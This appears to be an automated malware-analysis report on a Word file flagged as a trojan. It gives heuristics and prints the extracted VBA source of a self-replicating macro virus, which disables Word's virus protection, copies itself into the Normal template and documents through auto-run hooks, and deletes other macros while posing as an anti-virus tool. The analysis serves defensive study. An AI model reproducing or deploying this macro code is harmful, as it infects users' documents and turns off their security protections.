MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is identified as malicious by ClamAV and contains VBA macros. The 'AutoOpen' and 'AutoClose' macros, along with the 'ShowMessage' subroutine, suggest an attempt to execute code upon document opening and closing, possibly to display messages or manipulate the user. The 'Bablas' subroutine attempts to disable macro security features, indicating a malicious intent to evade detection.
Heuristics 5
-
ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTIONClamAV detected this file as malware: Legacy.Trojan.Agent-34741
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4537 bytes |
SHA-256: 69104ac5d59ec058181778fd09d846c5cbb193ba312ab48a0706636d8d2a86b1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "MacHantu"
Sub ShowMessage()
H = Time
If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
For i = 1 To 100
Beep
Next i
H = MsgBox("Terimakasih buat Sahabatku " & _
"buat Sahabatku, ma'af mengganggu.)", vbOKOnly + vbExclamation, "Ucapan Terimakasih")
End If
End Sub
Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.SavePropertiesPrompt = False
End Sub
Sub ToolsOptions()
Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Options.VirusProtection = True
Dialogs(wdDialogToolsOptions).Show
Bablas
End Sub
Sub ChangeCap()
On Error Resume Next
Application.Caption = "Anti Macro Virus is now activating "
ActiveWindow.Caption = "(Don't Worry Baby.)"
End Sub
Sub RestoreCap()
On Error Resume Next
Application.Caption = "Hantu Word"
ActiveWindow.Caption = ActiveDocument.Name
End Sub
Sub OpenMyMacro()
If InputBox("Enter password", "Hantu") = "hantu" Then Application.ShowVisualBasicEditor = True
End Sub
Sub SikatDocument()
Dim DocOk As Boolean
DocOk = False
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name = "MacHantu" Then DocOk = True
If Obj.Name <> "MacHantu" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Deleting Macro Virus in " + ActiveDocument.Name + "..."
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If DocOk = False Then
Application.StatusBar = "Deleting Macro Virus From Normal Template ..."
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="MacHantu", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub SikatTemplate()
Dim NorOk As Boolean
NorOk = False
For Each Obj In NormalTemplate.VBProject.VBComponents
If Obj.Name = "MacHantu" Then NorOk = True
If Obj.Name <> "MacHantu" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Deleting Macro Virus in Normal Template..."
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If NorOk = False Then
Application.StatusBar = "Deleting Macro Virus From " + ActiveDocument.Name
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="MacHantu", Object:=wdOrganizerObjectProjectItems
Application.DisplayRecentFiles = False
Application.DisplayRecentFiles = True
End If
End Sub
Sub AutoExit()
ShowMessage
Application.Quit
End Sub
Sub FileOpen()
ChangeCap
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
SikatDocument
ActiveDocument.Save
End If
RestoreCap
WordBasic.DisableAutoMacros False
End Sub
Sub AutoOpen()
Bablas
ChangeCap
SikatTemplate
On Error Resume Next
NormalTemplate.Save
RestoreCap
End Sub
Sub AutoClose()
SikatDocument
End Sub
Sub FileSave()
If ActiveDocument.Saved = False Then
SikatDocument
SikatTemplate
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Sub target()
C = Documents.Count
If C <> 0 Then
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.